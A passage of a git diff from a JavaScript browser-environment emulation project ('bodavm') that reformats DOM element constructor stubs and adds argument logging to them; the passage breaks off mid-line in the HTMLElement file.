-bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDListElement'], "HTMLDListElement"); -bodavm.memory.globalobj['HTMLDListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_set", arguments)}},'prototype'); +// HTMLDListElement对象 + +bodavm.memory.globalobj['HTMLDListElement'] = function HTMLDListElement() { + console.log_copy('HTMLDListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDListElement'], "HTMLDListElement"); +bodavm.memory.globalobj['HTMLDListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDListElement'].prototype, "HTMLDListElement", "compact_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDataElement.js b/env_xbb_lastest_jsdom/env/HTMLDataElement.js index 0c4e17aa..ac71bd99 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDataElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDataElement.js @@ -1,6 +1,29 @@ -// HTMLDataElement对象 -bodavm.memory.globalobj['HTMLDataElement'] = function HTMLDataElement(){if (!(this instanceof HTMLDataElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataElement'], "HTMLDataElement"); -bodavm.memory.globalobj['HTMLDataElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDataElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDataElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_set", arguments)}},'prototype'); +// HTMLDataElement对象 + +bodavm.memory.globalobj['HTMLDataElement'] = function HTMLDataElement() { + console.log_copy('HTMLDataElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDataElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataElement'], "HTMLDataElement"); +bodavm.memory.globalobj['HTMLDataElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDataElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDataElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataElement'].prototype, "HTMLDataElement", "value_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDataListElement.js b/env_xbb_lastest_jsdom/env/HTMLDataListElement.js index 0fed4f22..6dfb8184 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDataListElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDataListElement.js @@ -1,6 +1,27 @@ -// HTMLDataListElement对象 -bodavm.memory.globalobj['HTMLDataListElement'] = function HTMLDataListElement(){if (!(this instanceof HTMLDataListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataListElement'], "HTMLDataListElement"); -bodavm.memory.globalobj['HTMLDataListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDataListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDataListElement', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataListElement'].prototype, "HTMLDataListElement", "options_get", arguments)}, set:undefined},'prototype'); +// HTMLDataListElement对象 + +bodavm.memory.globalobj['HTMLDataListElement'] = function HTMLDataListElement() { + console.log_copy('HTMLDataListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDataListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDataListElement'], "HTMLDataListElement"); +bodavm.memory.globalobj['HTMLDataListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDataListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDataListElement', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDataListElement'].prototype, "HTMLDataListElement", "options_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDetailsElement.js b/env_xbb_lastest_jsdom/env/HTMLDetailsElement.js index 5100e022..8f9bed81 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDetailsElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDetailsElement.js @@ -1,6 +1,29 @@ -// HTMLDetailsElement对象 -bodavm.memory.globalobj['HTMLDetailsElement'] = function HTMLDetailsElement(){if (!(this instanceof HTMLDetailsElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDetailsElement'], "HTMLDetailsElement"); -bodavm.memory.globalobj['HTMLDetailsElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDetailsElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDetailsElement', "open", {configurable:true, enumerable:true, get:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_get", arguments)}, set:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_set", arguments)}},'prototype'); +// HTMLDetailsElement对象 + +bodavm.memory.globalobj['HTMLDetailsElement'] = function HTMLDetailsElement() { + console.log_copy('HTMLDetailsElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDetailsElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDetailsElement'], "HTMLDetailsElement"); +bodavm.memory.globalobj['HTMLDetailsElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDetailsElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDetailsElement', "open", { + configurable: true, + enumerable: true, + get: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_get", arguments); + }, + set: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDetailsElement'].prototype, "HTMLDetailsElement", "open_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDialogElement.js b/env_xbb_lastest_jsdom/env/HTMLDialogElement.js index d176f657..fe18c8a9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDialogElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDialogElement.js @@ -1,10 +1,63 @@ -// HTMLDialogElement对象 -bodavm.memory.globalobj['HTMLDialogElement'] = function HTMLDialogElement(){if (!(this instanceof HTMLDialogElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDialogElement'], "HTMLDialogElement"); -bodavm.memory.globalobj['HTMLDialogElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDialogElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "open", {configurable:true, enumerable:true, get:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_get", arguments)}, set:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "returnValue", {configurable:true, enumerable:true, get:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_get", arguments)}, set:function returnValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "show", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLDialogElement', "showModal", {configurable:true, enumerable:true, writable:true, value:function showModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "showModal", arguments)}},'prototype'); +// HTMLDialogElement对象 + +bodavm.memory.globalobj['HTMLDialogElement'] = function HTMLDialogElement() { + console.log_copy('HTMLDialogElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDialogElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDialogElement'], "HTMLDialogElement"); +bodavm.memory.globalobj['HTMLDialogElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDialogElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "open", { + configurable: true, + enumerable: true, + get: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_get", arguments); + }, + set: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "open_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "returnValue", { + configurable: true, + enumerable: true, + get: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_get", arguments); + }, + set: function returnValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "returnValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "show", { + configurable: true, + enumerable: true, + writable: true, + value: function show() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "show", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLDialogElement', "showModal", { + configurable: true, + enumerable: true, + writable: true, + value: function showModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDialogElement'].prototype, "HTMLDialogElement", "showModal", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDirectoryElement.js b/env_xbb_lastest_jsdom/env/HTMLDirectoryElement.js index b19e3775..b7869024 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDirectoryElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDirectoryElement.js @@ -1,6 +1,29 @@ -// HTMLDirectoryElement对象 -bodavm.memory.globalobj['HTMLDirectoryElement'] = function HTMLDirectoryElement(){if (!(this instanceof HTMLDirectoryElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDirectoryElement'], "HTMLDirectoryElement"); -bodavm.memory.globalobj['HTMLDirectoryElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDirectoryElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDirectoryElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_set", arguments)}},'prototype'); +// HTMLDirectoryElement对象 + +bodavm.memory.globalobj['HTMLDirectoryElement'] = function HTMLDirectoryElement() { + console.log_copy('HTMLDirectoryElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDirectoryElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDirectoryElement'], "HTMLDirectoryElement"); +bodavm.memory.globalobj['HTMLDirectoryElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDirectoryElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDirectoryElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDirectoryElement'].prototype, "HTMLDirectoryElement", "compact_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDivElement.js b/env_xbb_lastest_jsdom/env/HTMLDivElement.js index 588fbd07..9d940744 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDivElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLDivElement.js @@ -1,6 +1,29 @@ -// HTMLDivElement对象 -bodavm.memory.globalobj['HTMLDivElement'] = function HTMLDivElement(){if (!(this instanceof HTMLDivElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDivElement'], "HTMLDivElement"); -bodavm.memory.globalobj['HTMLDivElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLDivElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLDivElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_set", arguments)}},'prototype'); +// HTMLDivElement对象 + +bodavm.memory.globalobj['HTMLDivElement'] = function HTMLDivElement() { + console.log_copy('HTMLDivElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDivElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDivElement'], "HTMLDivElement"); +bodavm.memory.globalobj['HTMLDivElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLDivElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLDivElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLDivElement'].prototype, "HTMLDivElement", "align_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLDocument.js b/env_xbb_lastest_jsdom/env/HTMLDocument.js index 80e76382..b48fd401 100644 --- a/env_xbb_lastest_jsdom/env/HTMLDocument.js +++ b/env_xbb_lastest_jsdom/env/HTMLDocument.js @@ -1,22 +1,36 @@ // HTMLDocument对象 -bodavm.memory.globalobj['HTMLDocument'] = function HTMLDocument(){if (!(this instanceof HTMLDocument)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['HTMLDocument'] = function HTMLDocument() { + console.log_copy('HTMLDocument 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLDocument)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDocument'], "HTMLDocument"); - -bodavm.memory.globalobj['HTMLDocument'].prototype.__proto__=bodavm.memory.globalobj['Document'].prototype; - -bodavm.memory.globalobj['HTMLDocument'].__proto__=bodavm.memory.globalobj['Document']; - - +bodavm.memory.globalobj['HTMLDocument'].prototype.__proto__ = bodavm.memory.globalobj['Document'].prototype; +bodavm.memory.globalobj['HTMLDocument'].__proto__ = bodavm.memory.globalobj['Document']; // document对象 bodavm.memory.globalobj['document'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['document'].__proto__=bodavm.memory.globalobj['HTMLDocument'].prototype; - -bodavm.toolsFunc.defineProperty('document', "location", {configurable:false, enumerable:true, get:function location (){return bodavm.toolsFunc.dispatch(this, document, "document", "location_get", arguments)}, set:function location (){return bodavm.toolsFunc.dispatch(this, document, "document", "location_set", arguments)}}); - + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['document'].__proto__ = bodavm.memory.globalobj['HTMLDocument'].prototype; +bodavm.toolsFunc.defineProperty('document', "location", { + configurable: false, + enumerable: true, + get: function location() { + return bodavm.toolsFunc.dispatch(this, document, "document", "location_get", arguments); + }, + set: function location() { + return bodavm.toolsFunc.dispatch(this, document, "document", "location_set", arguments); + } +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLElement.js b/env_xbb_lastest_jsdom/env/HTMLElement.js index cdc6ec4f..357bb895 100644 --- a/env_xbb_lastest_jsdom/env/HTMLElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLElement.js @@ -1,133 +1,1275 @@ -// HTMLElement对象 -bodavm.memory.globalobj['HTMLElement'] = function HTMLElement(){if (!(this instanceof HTMLElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLElement'], "HTMLElement"); -bodavm.memory.globalobj['HTMLElement'].prototype.__proto__=bodavm.memory.globalobj['Element'].prototype; -bodavm.memory.globalobj['HTMLElement'].__proto__=bodavm.memory.globalobj['Element']; -bodavm.toolsFunc.defineProperty('HTMLElement', "title", {configurable:true, enumerable:true, get:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_get", arguments)}, set:function title (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "title_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "lang", {configurable:true, enumerable:true, get:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_get", arguments)}, set:function lang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "lang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "translate", {configurable:true, enumerable:true, get:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_get", arguments)}, set:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "translate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "dir", {configurable:true, enumerable:true, get:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_get", arguments)}, set:function dir (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "dir_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "hidden", {configurable:true, enumerable:true, get:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_get", arguments)}, set:function hidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "hidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "accessKey", {configurable:true, enumerable:true, get:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_get", arguments)}, set:function accessKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "accessKey_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "draggable", {configurable:true, enumerable:true, get:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_get", arguments)}, set:function draggable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "draggable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "spellcheck", {configurable:true, enumerable:true, get:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_get", arguments)}, set:function spellcheck (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "spellcheck_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "autocapitalize", {configurable:true, enumerable:true, get:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_get", arguments)}, set:function autocapitalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "autocapitalize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "contentEditable", {configurable:true, enumerable:true, get:function contentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_get", arguments)}, set:function contentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "contentEditable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "enterKeyHint", {configurable:true, enumerable:true, get:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_get", arguments)}, set:function enterKeyHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "enterKeyHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "isContentEditable", {configurable:true, enumerable:true, get:function isContentEditable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "isContentEditable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "inputMode", {configurable:true, enumerable:true, get:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_get", arguments)}, set:function inputMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "inputMode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "virtualKeyboardPolicy", {configurable:true, enumerable:true, get:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_get", arguments)}, set:function virtualKeyboardPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "virtualKeyboardPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetParent", {configurable:true, enumerable:true, get:function offsetParent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetParent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetTop", {configurable:true, enumerable:true, get:function offsetTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetLeft", {configurable:true, enumerable:true, get:function offsetLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetWidth", {configurable:true, enumerable:true, get:function offsetWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "offsetHeight", {configurable:true, enumerable:true, get:function offsetHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "offsetHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "innerText", {configurable:true, enumerable:true, get:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_get", arguments)}, set:function innerText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLElement'].prototype, "HTMLElement", "innerText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLElement', "outerText", {configurable:true, enumerable:true, get:function outerText (){return bodavm.toolsFunc.dispatch(this, 